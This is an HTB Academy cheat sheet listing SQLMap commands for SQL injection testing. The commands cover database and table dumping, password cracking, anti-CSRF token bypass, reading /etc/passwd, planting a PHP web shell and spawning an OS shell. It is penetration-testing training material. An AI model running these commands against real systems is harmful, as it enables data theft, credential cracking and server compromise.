HACKTHEBOX

SQLMAP ESSENTIALS

CHEAT SHEET

Command	Description
`sqlmap -h`	View the basic help menu
`sqlmap -hh`	View the advanced help menu
`sqlmap -u "http://www.example.com/vuln.php?id=1" --batch`	Run `SQLMap` without asking for user input
`sqlmap 'http://www.example.com/' --data 'uid=1&name=test'`	`SQLMap` with POST request
`sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'`	POST request specifying an injection point with an asterisk
`sqlmap -r req.txt`	Passing an HTTP request file to `SQLMap`
`sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'`	Specifying a cookie header
`sqlmap -u www.target.com --data='id=1' --method PUT`	Specifying a PUT request
`sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt`	Store traffic to an output file
`sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch`	Specify verbosity level

Command	Description
`sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"`	Specifying a prefix or suffix
`sqlmap -u www.example.com/?id=1 -v 3 --level=5`	Specifying the level and risk
`sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba`	Basic DB enumeration
`sqlmap -u "http://www.example.com/?id=1" --tables -D testdb`	Table enumeration
`sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname`	Table/row enumeration
`sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"`	Conditional enumeration
`sqlmap -u "http://www.example.com/?id=1" --schema`	Database schema enumeration
`sqlmap -u "http://www.example.com/?id=1" --search -T user`	Searching for data
`sqlmap -u "http://www.example.com/?id=1" --passwords --batch`	Password enumeration and cracking
`sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"`	Anti-CSRF token bypass
`sqlmap --list-tampers`	List all tamper scripts
`sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba`	Check for DBA privileges
`sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"`	Reading a local file
`sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"`	Writing a file
`sqlmap -u "http://www.example.com/?id=1" --os-shell`	Spawning an OS shell

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET